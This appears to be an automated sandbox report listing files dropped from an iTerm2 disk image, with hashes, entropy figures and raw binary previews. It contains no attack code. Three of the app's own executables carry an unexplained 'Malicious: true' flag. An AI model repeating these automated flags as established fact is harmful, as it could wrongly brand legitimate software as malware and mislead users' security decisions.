SHA-512:	BBF4C02C7E99C48AC4EC3CDF43AB3203EF4F9404674FDB30AD8C03FE204BB00F9F6733983466079BA7EE3814BE4DDAB849DFA3C3DB93BC5C2EA9A9967E55D3DF
Malicious:	false
Reputation:	low
Preview:	....................X...................__TEXT..........................................................__text..........__TEXT...........'......{E.......'..............................__stubs.........__TEXT...........m......B........m..............................__stub_helper...__TEXT..........Pp......~.......Pp..............................__const.........__TEXT...........u......T........u..............................__cstring.......__TEXT..........0y......h.......0y..............................__swift5_typeref__TEXT...........z...............z..............................__swift5_reflstr__TEXT..........`{......,.......`{..............................__swift5_fieldmd__TEXT...........{...............{..............................__swift5_builtin__TEXT...........{......(........{..............................__swift5_assocty__TEXT...........{......H........{..............................__swift5_proto..__TEXT...........\|......(........\|..............................__swift5_types..

/Applications/iTerm.app/Contents/Frameworks/libswiftDispatch.dylib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O 64-bit dynamically linked shared library
Category:	dropped
Size (bytes):	328272
Entropy (8bit):	5.796095354980124
Encrypted:	false
SSDEEP:	3072:Zo5uaLj93SCgAQ6DSEcKeeGkAgHujrJWbBZ7ohXs1bQg08:u5R9iqOEcKbAgHMWbBZ7oS1b1D
MD5:	02456F379313F2C2ED2EF791D1653ECB
SHA1:	0A426B84BD58011B65DE3FD0B4559A2E6CF61F51
SHA-256:	FFE29C20B8B02DD171F1933031E8DF371DA448D1ABBAB8E208517983B599BE35
SHA-512:	DDE25A26299D817524F5BE9D9F22A05F8338408D8FA44B8DE755D63509AD5FB657E01CB7FC5B41FC1F11006B8884A15324531C8F6412376BE07F0C1C9F2548A4
Malicious:	false
Reputation:	low
Preview:	....................................8...__TEXT..........................................................__text..........__TEXT..........0<......7.......0<..............................__stubs.........__TEXT..........h>..............h>..............................__stub_helper...__TEXT..........@A..............@A..............................__const.........__TEXT...........F...............F..............................__cstring.......__TEXT...........b......$........b..............................__swift5_typeref__TEXT..........$f..............$f..............................__swift5_capture__TEXT...........m...............m..............................__swift5_reflstr__TEXT...........p...............p..............................__swift5_fieldmd__TEXT..........Hr..............Hr..............................__swift5_assocty__TEXT...........v...............v..............................__swift5_proto..__TEXT...........z...............z..............................__swift5_types..

/Applications/iTerm.app/Contents/Frameworks/libswiftFoundation.dylib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O 64-bit dynamically linked shared library
Category:	dropped
Size (bytes):	3163392
Entropy (8bit):	6.511115260505808
Encrypted:	false
SSDEEP:	49152:YwCROS1cNS83nxZXwcK9+EHdD7/26iN4LQy5gWwUGnnWEe+mgVL00cBPOtaFlIHw:vCd1cNn4p/X0fVYtBGt1GK3
MD5:	0F96610879C758C60132CA35DBA36867
SHA1:	4E66B3D3C4EDA8C71A3133128415620760CE7F73
SHA-256:	5588FB77CB1EC8DA991C4487C8C8022806B759ADF3CBD4B639A87ADF6A6814EE
SHA-512:	26F4E134B957E140581F3C291E009B206C9B8E6D9C703B03C7A2579117E4CADFDAE554312672446169A162A44FD0699BAA941856D503B06DB154CFADC6AD6EC8
Malicious:	false
Reputation:	low
Preview:	........................................__TEXT..........................................................__text..........__TEXT...........W...............W..............................__stubs.........__TEXT...........2......4........2..............................__stub_helper...__TEXT.......... >.............. >..............................__const.........__TEXT...........P...............P..............................__cstring.......__TEXT...........#......,/.......#..............................__objc_methname.__TEXT...........R.......8.......R..............................__swift5_typeref__TEXT..........z........?......z...............................__swift5_capture__TEXT..........................................................__swift5_reflstr__TEXT..................:.......................................__swift5_fieldmd__TEXT..........................................................__swift5_protos.__TEXT..................@.......................................__swift5_assocty

/Applications/iTerm.app/Contents/Frameworks/libswiftIOKit.dylib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O 64-bit dynamically linked shared library
Category:	dropped
Size (bytes):	45664
Entropy (8bit):	2.809635868276209
Encrypted:	false
SSDEEP:	192:NXR5Xf+68AFA6zfdgfaWWEyggBpQB2nHBL/JIx8P0w+oQ454HXA4:NXD+C9eyBh28D5c
MD5:	AD5F707DCC086FE24D866BBF34ECF164
SHA1:	F3ED6CB67A61EA9A6CDAF8D81FC48B5DFFD1A77D
SHA-256:	5059B23278FF33F5F16C249EBCF9884CE6A3C9B79985A201AC9C9F9BAEF48A66
SHA-512:	96BB1B6E2FB06E8FFBD97D0F381C5DCF49EE94B53DF4DB4E725A734B2DB175077E0F0E89B218FEE9A5AC5E463AD6D7EC9FF6D52AE5B479633D9DCE5D35CF12FF
Malicious:	false
Reputation:	low
Preview:	....................8...................__TEXT...................@...............@......................__text..........__TEXT.......... :......A....... :..............................__const.........__TEXT..........b=..............b=..............................__info_plist....__TEXT..........j=......B.......j=..............................__unwind_info...__TEXT...........?......H........?......................................__DATA...........@...............@..............................__const.........__DATA...........@...... ........@..............................__objc_imageinfo__DATA.......... @.............. @..............................__data..........__DATA..........(@..............(@..............................__common........__DATA..........,@..................................................H...__LINKEDIT.......P.......p.......P......`b..........................8...........R.......@rpath/libswiftIOKit.dylib......"...0............P.......................P..............

/Applications/iTerm.app/Contents/Frameworks/libswiftMetal.dylib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O 64-bit dynamically linked shared library
Category:	dropped
Size (bytes):	84928
Entropy (8bit):	3.8033737620017076
Encrypted:	false
SSDEEP:	768:/L8jr+chkNwxGlsMg/Knbekt+9PPGFP2AC8:AjrDkNwxGlsMgybekt+9PWuAC
MD5:	06008A145AF38B7B565F4013AE4DD3F0
SHA1:	AC3E17992CAFB970EA6E2EB973C0B34D84CEFC0A
SHA-256:	FD72B12A8AF89798189377265764AE7C9E7240C55159643EFB1071FA5E27CE2A
SHA-512:	D0CBB88A47D31E62AC8F463B88D157AABEF4A167B0782081936F0FA6462BEEE5014E4FA273F52B2017DF4C015961BDE0D38219519FAFFD7CDAC3154BB3DE938E
Malicious:	false
Reputation:	low
Preview:	....................H...............X...__TEXT..........................................................__text..........__TEXT..........@h......;.......@h..............................__stubs.........__TEXT..........\|}..............\|}..............................__stub_helper...__TEXT..........,~......2.......,~..............................__objc_methname.__TEXT..........^...............^...............................__cstring.......__TEXT..........@...............@...............................__const.........__TEXT..................P.......................................__swift5_types..__TEXT.......... ............... ...............................__swift5_typeref__TEXT..........$...............$...............................__swift5_reflstr__TEXT..........?...............?...............................__swift5_fieldmd__TEXT..........D.......(.......D...............................__info_plist....__TEXT..........l.......B.......l...............................__unwind_info...

/Applications/iTerm.app/Contents/Frameworks/libswiftObjectiveC.dylib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O 64-bit dynamically linked shared library
Category:	dropped
Size (bytes):	62256
Entropy (8bit):	3.8935544043797994
Encrypted:	false
SSDEEP:	768:ZkOEK3OeaZz1WICjm6PP9hDBPNBPRNPm4ecfKwoZvtmEy8:OtCVN
MD5:	633274C5B2FF7AC7549419A9738BA854
SHA1:	49429E3473683B485F53508F859883C15DE99052
SHA-256:	4A5A2034611A255CE13592BFBC40D8BA555B4BDE0762D3AD2ADA2C0D502BBFEF
SHA-512:	EB820F6674CE1E0480CCD44B1680A1505055709FA95D9EE810A600C821B167D5096264F6DF3942A10CEBF02514397784FDEDA0F8BA815688E532D839F556E2DD
Malicious:	false
Reputation:	low
Preview:	....................h...................__TEXT...................P...............P......................__text..........__TEXT..........@9..............@9..............................__stubs.........__TEXT...........C...............C..............................__stub_helper...__TEXT...........D...............D..............................__cstring.......__TEXT...........E...............E..............................__objc_methname.__TEXT..........DF..............DF..............................__swift5_typeref__TEXT..........RF......B.......RF..............................__const.........__TEXT...........G......,........G..............................__swift5_reflstr__TEXT...........J...............J..............................__swift5_fieldmd__TEXT..........lK......T.......lK..............................__swift5_assocty__TEXT...........K......`........K..............................__swift5_proto..__TEXT.......... L......4....... L..............................__swift5_types..

/Applications/iTerm.app/Contents/Frameworks/libswiftQuartzCore.dylib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O 64-bit dynamically linked shared library
Category:	dropped
Size (bytes):	58352
Entropy (8bit):	2.6576304417453978
Encrypted:	false
SSDEEP:	192:zzpAfXky/iDgXg8W9bn2jlzS/7S0siJIx8P0w+oQ454HXAb:zzpiXgVboGsu28D5
MD5:	176C540D2D1A265A6FF355F22BCA9424
SHA1:	BEA08ADD92EA5AB0D434E9BBBB7CAF8056625E00
SHA-256:	E83B0D6C7E35BA9B2AA7350310DCBA5AE8C4A581709CEBACA70FE8999CFB1169
SHA-512:	2175CCAFFC32B95FD5A7F1050AB5DAD15474EE3952692FAE236321BCB2B00E5374FC5F25E30227AE992D402E5B6CCE36798AFFE6E95446625A09389C9565157B
Malicious:	false
Reputation:	low
Preview:	................!.......................__TEXT...................p...............p......................__text..........__TEXT...........c...............c..............................__stubs.........__TEXT...........i......0........i..............................__stub_helper...__TEXT...........i......`........i..............................__const.........__TEXT..........$j..............$j..............................__cstring.......__TEXT...........j......!........j..............................__objc_methname.__TEXT...........j......+........j..............................__swift5_typeref__TEXT...........k......T........k..............................__swift5_reflstr__TEXT..........`k......P.......`k..............................__swift5_assocty__TEXT...........k...............k..............................__swift5_proto..__TEXT...........k...............k..............................__swift5_types..__TEXT...........k...............k..............................__swift5_fieldmd

/Applications/iTerm.app/Contents/Frameworks/libswiftXPC.dylib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O 64-bit dynamically linked shared library
Category:	dropped
Size (bytes):	45728
Entropy (8bit):	2.807566045976781
Encrypted:	false
SSDEEP:	192:9zqdPa5/PhKrOvwiPCCLBx6aL4waegDxJIx8P0w+oQ454HXv9HNg:9zJ/PHP/L2ahg728D5cW
MD5:	4422A06D98230ADC8EEF004598716F74
SHA1:	D63DDF9AC6C75160AEC0D5558AF3120C5F5C717F
SHA-256:	498134CD29A4CBA955EFBE417BF980197E1C420A410AB4C4D967B042EB45F92D
SHA-512:	EB612D33B0FDF131F62F157D0876699366470468017D7C9F10701B12A3753E6845C078DB1F81415CCDC4B6D7EA3FFD1C077357D9AD5CAC2AA38069DCA869EFF6
Malicious:	false
Reputation:	low
Preview:	....................h...............x...__TEXT...................@...............@......................__text..........__TEXT...........:...............:..............................__stubs.........__TEXT...........<...............<..............................__stub_helper...__TEXT...........<...............<..............................__const.........__TEXT.........."=.............."=..............................__info_plist....__TEXT..........=......>.......=..............................__unwind_info...__TEXT..........h?......\.......h?..............................__eh_frame......__TEXT...........?......8........?..................................(...__DATA...........@...............@..............................__nl_symbol_ptr.__DATA...........@...............@..............................__got...........__DATA...........@...............@..............................__la_symbol_ptr.__DATA...........@...............@..............................__const.........__DATA..

/Applications/iTerm.app/Contents/Frameworks/libswiftos.dylib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O 64-bit dynamically linked shared library
Category:	dropped
Size (bytes):	72352
Entropy (8bit):	4.2033870918700575
Encrypted:	false
SSDEEP:	1536:OEvB/fyVElB9IbxKoy+b9i5H9dPc/cFUauVrVVwTK:OEJHm8
MD5:	75ED1B4F072119A42BFC6DE21020DC36
SHA1:	4786B49DD20EADD976B416415664552448E66583
SHA-256:	F64C098891DF32101945B44A57D5BEDEF7C688C8FA7AAD6B470F91B3E970BF4A
SHA-512:	585F2ABF2768A4BEDE2F508F12CED6BC4CD9F13FD9B09FC73DD8E2CAF72C3C6388DA1523DD09049AB1CC6E7ED3C1F86D7E2DAE28D469F5C8F59CED5700EE4023
Malicious:	false
Reputation:	low
Preview:	........................................__TEXT..........................................................__text..........__TEXT...........B.......2.......B..............................__stubs.........__TEXT...........u...... ........u..............................__stub_helper...__TEXT...........v...............v..............................__swift5_typeref__TEXT...........x......3........x..............................__swift5_capture__TEXT...........x...............x..............................__cstring.......__TEXT...........y...............y..............................__const.........__TEXT..........(z..............(z..............................__swift5_reflstr__TEXT...........{...............{..............................__swift5_fieldmd__TEXT..........({......8.......({..............................__swift5_proto..__TEXT..........`{..............`{..............................__swift5_types..__TEXT..........h{..............h{..............................__objc_methname.

/Applications/iTerm.app/Contents/Info.plist Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	XML document text
Category:	dropped
Size (bytes):	9165
Entropy (8bit):	4.939958206366957
Encrypted:	false
SSDEEP:	96:CycgtBZ4tgHYQgHDj2zcK1vUgI/bfP7RDUGgCfaVgSz3wuylVqYvgvBqv3HAvvWu:XUpmb+eBWCim6k
MD5:	715B8001E8C22D1B962323BAB2483E82
SHA1:	75AD7803A202AB860F6E84573577AD7E93FD5FEA
SHA-256:	358EDD119D60BBD1F06182EF659542615F72C371BDBA566B7ED8BCAE367B4880
SHA-512:	827019F472F9BF3F832DEC317DABA833F6F28D98B9B561FC9F2CA43E192D0E02E641CF247DF774B99D90F7A71D695425315664638D9370F6AC1F2C7AC753923A
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>..<key>BuildMachineOSBuild</key>..<string>20F71</string>..<key>CFBundleDevelopmentRegion</key>..<string>English</string>..<key>CFBundleDocumentTypes</key>..<array>...<dict>....<key>CFBundleTypeExtensions</key>....<array>.....<string>itr</string>....</array>....<key>CFBundleTypeIconFile</key>....<string>iTermRecordingIcon.icns</string>....<key>CFBundleTypeName</key>....<string>iTerm2 Recording</string>....<key>CFBundleTypeRole</key>....<string>Editor</string>...</dict>...<dict>....<key>CFBundleTypeExtensions</key>....<array>.....<string>its</string>....</array>....<key>CFBundleTypeIconFile</key>....<string>iTerm2Script.icns</string>....<key>CFBundleTypeName</key>....<string>iTerm2 Script</string>....<key>CFBundleTypeRole</key>....<string>Editor</string>...</dict>...<dict>....<key>CFBundleTypeExtensions</key>....<array>.

/Applications/iTerm.app/Contents/MacOS/ShellLauncher Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O fat file with 2 architectures
Category:	dropped
Size (bytes):	151104
Entropy (8bit):	1.1284461521675475
Encrypted:	false
SSDEEP:	192:VZxWRV3SBYb86ztJIx8P0w+oQ454L7Uq+RDKWx3lxbvBbbJxJIx8P0w+oQ454L7q:VjWL33/28D5bFRDKWxlxbb28D5Cv
MD5:	1C3E92B741A7F3ACF8F6C860DA986196
SHA1:	E038DA8D1711590F8FCCEE41460045E7DE3504F9
SHA-256:	890D7D40332CB4D1E20B3D1B209D97AF182B5361ABC1537C8C2CC5F0BE0A104C
SHA-512:	29BD63EB88AB35B866D9D8FFC18B27369DB08CE84EE25042D680B42C84F84C2EE7446BCA9A3F6CDB51FCB422648D0604F0024ED69CDF77962F595AC634A4AACE
Malicious:	true
Reputation:	low
Preview:	..................@...................@....@............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/Applications/iTerm.app/Contents/MacOS/iTerm2 Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O fat file with 2 architectures
Category:	dropped
Size (bytes):	36445088
Entropy (8bit):	6.221179216875889
Encrypted:	false
SSDEEP:	196608:ZdZVbBjxb1HlthfA5792UhO1v2CNrfyZheBCcfUu1cj/rGr/3buiSJ6OhXq4LhO1:/ZVHtNfpTecI1d56mC9ulx8ki1DYxZc
MD5:	7F42A1D7525C06F80CD986B64E0507BA
SHA1:	B6D08414E93B943DB62FB943E9F677F2999EEFEE
SHA-256:	F1277ACE85516F9DECCE8D86F5FACEB9BB2AC9DD4FAED5563C98B00DF0545C3F
SHA-512:	408A7675C7A0C75006FDB256D3B23FD493B665A834D8D28B414CA32385D8E8656989065C7EB56B09B02AE3ED78FCD418DC993A7CEDAD73DB3E1DD9BE4C36DABD
Malicious:	true
Reputation:	low
Preview:	..................@...x...................[.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/Applications/iTerm.app/Contents/MacOS/iTermServer Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O fat file with 2 architectures
Category:	dropped
Size (bytes):	216288
Entropy (8bit):	3.7624747162821923
Encrypted:	false
SSDEEP:	1536:7B5nToKVoUeef5dl2IomdewqAtXMh+1lZPlpg8k9Z53j/:7HTtbXYmORy+z
MD5:	659EC6B822E56FB452729D404B153BE9
SHA1:	90EF5F2B3E101DB46D377F3D9462F49B13561824
SHA-256:	5D6BE365504E643F5A195666A90B91AF0D405F6BB6A126271A80FE2B269A30AF
SHA-512:	72D8FCE6DE85E8293EA3A10637AF2BC59F5C09AC5C099DB5C5186C4CF4724BD2330D644B09E28D96E5DA70AFB23F77FD4ED09F4B954A97C7F82C3D558FBB6D21
Malicious:	true
Reputation:	low
Preview:	..................@...LP................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/Applications/iTerm.app/Contents/PkgInfo Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	2.75
Encrypted:	false
SSDEEP:	3:kCxY:pu
MD5:	A3A5B04515F57290783C848E9E885A7A
SHA1:	1F074237B1F2567F7D410FEDBF661BA2AEE7E46C
SHA-256:	2BDA7DCF5B3FEDB657543A538970E2EB29CF0D1625DF7254E6CB0CC8863DE5C0
SHA-512:	EE79763C55B97FCDCCF7DADE6A9D0C921957D4C47B778A9DAC4EC532BE962B7168FEA813C63102AADB050228A4487880E24E5E9F24885248F39EBAC709CD9174
Malicious:	false
Reputation:	low
Preview:	APPLITRM

/Applications/iTerm.app/Contents/Resources/AboutWindow.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20043
Entropy (8bit):	6.8448186665667965
Encrypted:	false
SSDEEP:	384:D4wpguBocE0dwRUYNg7s0CNNYNg7C1kAy/kwA1HRSl0A61GwB5:MugZRUYyKYyW1kFoNHr
MD5:	8DA12B5C8DC7F89EACE49C0C751414F4
SHA1:	A9029D30264CDD6F61956BB071A32D7AF3CC7C31
SHA-256:	DE91E18CEE2C8EEECA3FAB795949E011A62586FD6444E54026862C4F9839FC44
SHA-512:	F2504BF6EB4740F8DAE0ADBBC89AA1C772F0333A07B6EFAEA915248116559CF576CBD3017AA589C1E927D64F2BA512C27184391FC08D54BF63EE410F243D5A54
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.+.3.4.;.>.B.F.N.X.x.........................................................$.'.,.-.7.8.9.>.?.E.I.J.P.Q...T.X.Y.^._.f.g.k.q.......................................d.....%.&.'.6.7.?.@.C.H.L.g.m.q.r.w.x.}.........................................................".'.(.9.:.;.D.E.I.N.O.f.i.u.v.w.x.y.z.{.\|.}.~.....................................................:...............5...6.7.8.9.:.;.M.<.=.>.?.@.A.B.C.D.E.F.G.H.K.NU$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&.'...(.).*[NSClassName_..IBClassReference........,.-....././.(.2\IBModuleName_..IBModuleProvider[IBClassName........_..iTermAboutWindowController..5.6.7.8Z$classnameX$classe

/Applications/iTerm.app/Contents/Resources/Add Mark Touch Bar Icon.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	9686
Entropy (8bit):	7.200723089264377
Encrypted:	false
SSDEEP:	192:erslGhe8vVqYNMtKwAubtdCJaMnUYNMtKwy:e4lGh/vVqYNg7AqC0MnUYNg7y
MD5:	845F65A28B56EB2186E59DFEC1F109B0
SHA1:	1E044822C69C52FFB153039E47E649EDC576F786
SHA-256:	535C0D5F26DFFD6FC8853B4A6FD1A513127808DDCD539DF08529B0504C98B6AF
SHA-512:	6E36D52ECE0D6F18A00E5D197F8C66C48E68A890D8FD5D432A6935445AEEF4DA4966B775A96089B6B0E9CEBFAF509E4B66EA220D10D68C444B9C022825B2B5B2
Malicious:	false
Reputation:	low
Preview:	MM....4.. P8$....BaP.d6...DbQ8.V-..FcQ..v=..HdR9$.M'.JeR.d.]/.LfS9..m7.NgS...}?.PhT:%..G.RiT.e6.O.TjU:.V.W.P.O'.M....c.(.D0....6.e...t;..w......O.....o.`pV....w......7....n.k.f.\|.d3Y...%...2....M..g....3Q..lc..F[...nw[.N.C...7.>&.}..qy\...m..tzX.v.o...{U^.....xi.......zh^H.....A_.0$../u...W...a4@..A,........}>)(.Y...4...`.%.'.....i.E.g....F.4..!.6....... .......%.'.V.C..C..Q,O..i.[..p..w.. .DG....G... =2.Q.Jh........,...%..$.0K.L.....M-......%.`.I.`..N...+.3..@.S.'1..P.C....:.q..!..B1E<.....D="O.....KT=4....bNBp./..G1......'.3.%0.............QS.h.Z..&h.........jF.".u......&I...)[...E..J.p......4..A.wr'u.V...^.t.=...............F".!Ia.>.._....&rU>.T5.4.b.~3....wW.0.1.[......T.Z6..j...5.!..j.f...&..5....f..........A...T......q..N).....4....A.d....I%.I..gC..7...........P.)..y=.O...l>.E.E...(...$.].j.N.+...3...qT.W.....Eb.B..(.N8.gY..j...0........}../......5.......:....[.7)..D..{.]8......P....@..Z..%].........f........pm8....5..X0n....[D..+.?O...L..z.\...F....k...p{>~@..K...>......Y~.kM.

/Applications/iTerm.app/Contents/Resources/AddressBook.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode C program text
Category:	dropped
Size (bytes):	13504
Entropy (8bit):	3.5813997862009783
Encrypted:	false
SSDEEP:	192:v+CIoN/Dl6QdnPgTyrAhBEhgE8KvP9HcnZknffjrN7:v+Cv1DlcenPp3R
MD5:	93B3AA41A3AD59081D32312BF3EF19CD
SHA1:	05F31146B8EA4C18D81DEEF7746276FFC0735818
SHA-256:	A5B0335CB8D662877032797A2552F892E6E898D24DD7D9D5EDDAE5E05D651164
SHA-512:	9E78CD0B21EC9A77DFCFA3A57A446937E7647D80009782913D88E3F50D3C374D84EEAF30AE639BF37EF137ACE1C41C02991657812A4D9BCBB0F1B3A3411EE6D8
Malicious:	false
Reputation:	low
Preview:	../.. .N.S.C.o.m.b.o.B.o.x. .(.0.). .:. .<.t.i.t.l.e.:. .>. .(.o.i.d.:.2.4.6.). ../...". .". .=. .". .".;...../.. .N.S.B.u.t.t.o.n. .(.W.h.e.n. .i.d.l.e.,. .s.e.n.d.s.). .:. .<.t.i.t.l.e.:. .W.h.e.n. .i.d.l.e.,. .s.e.n.d.s.>. .(.o.i.d.:.2.7.3.). ../...". .W.h.e.n. .i.d.l.e.,. .s.e.n.d.s.". .=. .". .W.h.e.n. .i.d.l.e.,. .s.e.n.d.s.".;...../.. .N.S.T.e.x.t.F.i.e.l.d. .(.%.). .:. .<.t.i.t.l.e.:.%.>. .(.o.i.d.:.1.4.7.). ../...".%.". .=. .".%.".;...../.. .N.S.C.o.m.b.o.B.o.x. .(.0.). .:. .<.t.i.t.l.e.:.0.>. .(.o.i.d.:.2.4.6.). ../...".0.". .=. .".0.".;...../.. .N.S.C.o.m.b.o.B.o.x. .(.0.). .:. .<.t.i.t.l.e.:.1.>. .(.o.i.d.:.2.4.6.). ../...".1.". .=. .".1.".;...../.. .N.S.C.o.m.b.o.B.o.x. .(.0.). .:. .<.t.i.t.l.e.:.2.>. .(.o.i.d.:.2.4.6.). ../...".2.". .=. .".2.".;...../.. .N.S.C.o.m.b.o.B.o.x. .(.0.). .:. .<.t.i.t.l.e.:.3.>. .(.o.i.d.:.2.4.6.). ../...".3.". .=. .".3.".;...../.. .N.S.C.o.m.b.o.B.o.x. .(.0.). .:. .<.t.i.t.l.e.:.4.>. .(.o.i.d.:.2.4.6.). ../...".4.". .=. .".4.".

/Applications/iTerm.app/Contents/Resources/AdvancedWorkingDirectoryWindow.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	16107
Entropy (8bit):	6.704462616271852
Encrypted:	false
SSDEEP:	384:gdIgFuE0JwRUYNg7SyYwBm02uvOfBZuogED4zCI:NgHRUYy/myobU/
MD5:	6875E2F7407B9BA1C1E3E014F10CD1AB
SHA1:	AAEBE2F829764358029480766E8A09904289FF2E
SHA-256:	9A907A5D47A873087CF98929D9554E5ED498EAB13EBFBBDB19647F383AF8A2A6
SHA-512:	183ABC1E84E5B55FBDC122697E304872A98C56B390E6D30E51E8F0686C165F67D8469CD65E309F6956C0714022363CE6858D4B2A17E564F78E580BBA8BFEDE18
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.+.3.4.;.>.B.F.T.^.....................................................#.%.+.?.@.D.E.H.I.L.T.U.\.].a.b...c.j.k.p.q.v.y.z.........................................................%.,.-.4.5.<.=.>.E.F.L.l.m.n.o.~...........................................................&.'.1.2.3.6.7.9.:.;.<.A.D.E.K.L.R.X.].^.b.....:.............u...}.....-........... .!.".#.$.%.&.'.(.)..+.,.-.../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.E.HU$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&.'...(.).[NSClassName_..IBClassReference........,.-....././.(.2\IBModuleName_..IBModuleProvider[IBClassName........_.(AdvancedWorkingDirectoryWindowController..5.6.7.8Z$c

/Applications/iTerm.app/Contents/Resources/Alert.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	13904
Entropy (8bit):	6.831183690272919
Encrypted:	false
SSDEEP:	192:Ui+dUpdU03MjRUYNMtKwQzNy/lenrMjRUYNMtKwy:D+dIC03wRUYNg7mNy/lcrwRUYNg7y
MD5:	7EE7A1C7B8199B652228C10057E86BC2
SHA1:	4EC0406A96F69C24E889D275E1663025E3782FF6
SHA-256:	FCC86779E4897C461F24CCA55801A47767ADE256F19BFC248BB3C0CB55BEB657
SHA-512:	7DA3B5C1ED7D446605382E9737F3C786012077B0D202495858C5B76C8DE67E77CC808AB85C182500E3154F0BA69561358F9AB298E2D8EED9A575A9A5367B37FF
Malicious:	false
Reputation:	low
Preview:	MM....... P8$....BaP.d6...DbQ8.V-..FcQ..v=..HdR9$.M'.JeR.d.]/.K...0...u.....9..\|.. .......A...........Km5C..bH .hp..<H.1[.....A....>..1..z...d.6K....-......S....;@..0...z..`..i..w.....A...>C.aJ.:.J.........Mn......3CL.....]...(...........>..t...8.:.....!..9..:EK.b]4...@%.3...;8.0 .Pl.\|+..: .....Xx..p<~.G. \|.......p,{...k.f..k......A..n...ty.(0...%hxI..#..8...1....o......`.8XC.(v..BY.......# )...F. V....}..P$+.CA.. . ....X.D......b.:o......B.4v..!...'..v..0F.%.......:c...."..`.f..0.\|...HC..,..N. .+...6z...V...9.".g@.j.j ....:........'9.j.a!...&h.t..0&r...2S..3......I.B.Ja.$Atq....3...........@.... .:..`.,.+..t....H.........6.H8`Y...&o&3......tM.`..I..`z..........1...$.1.P... ......T..F`TE....\|...nD..B....P.Q..m......Z......f............0..z. ..2$....... .../..^.. .......H.dx.{.`A.I.b..$....>X)&5.....9...zS..!.3.a......$....l.3.u........`.B.. .......Z .....&1..."X.T..r......@..R....0j@.".p;.F.^6........(..#....(V.B..irA......L.P8Y....@.z.P..x.u..........#.\..P........~.`...P..@.I..

/Applications/iTerm.app/Contents/Resources/AppIcon.icns Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	data
Category:	dropped
Size (bytes):	27666
Entropy (8bit):	7.892774955613872
Encrypted:	false
SSDEEP:	768:O+I3fpgvwTM1KKiRe2D+Ln9Gtr8qPck0ef:TW2vvU01Ick0C
MD5:	61BA5C4DE7DDBA4A78B972BC98BA622D
SHA1:	6CAE2F138FDCCCDFFCB6774726AC50E3A30FC6A2
SHA-256:	8EBBD9575518329DE44B7B46AD902E36C4863384DCB8E913BF349AAFA36B5059
SHA-512:	1EF4F34963C7465EA099BB268063E652085574247DDD28CA9CE82C2AD782DDFBE53FF6F73696032DF0628DAF154F1E1E773F76330933AB68F1B7E2305D03325E
Malicious:	false
Reputation:	low
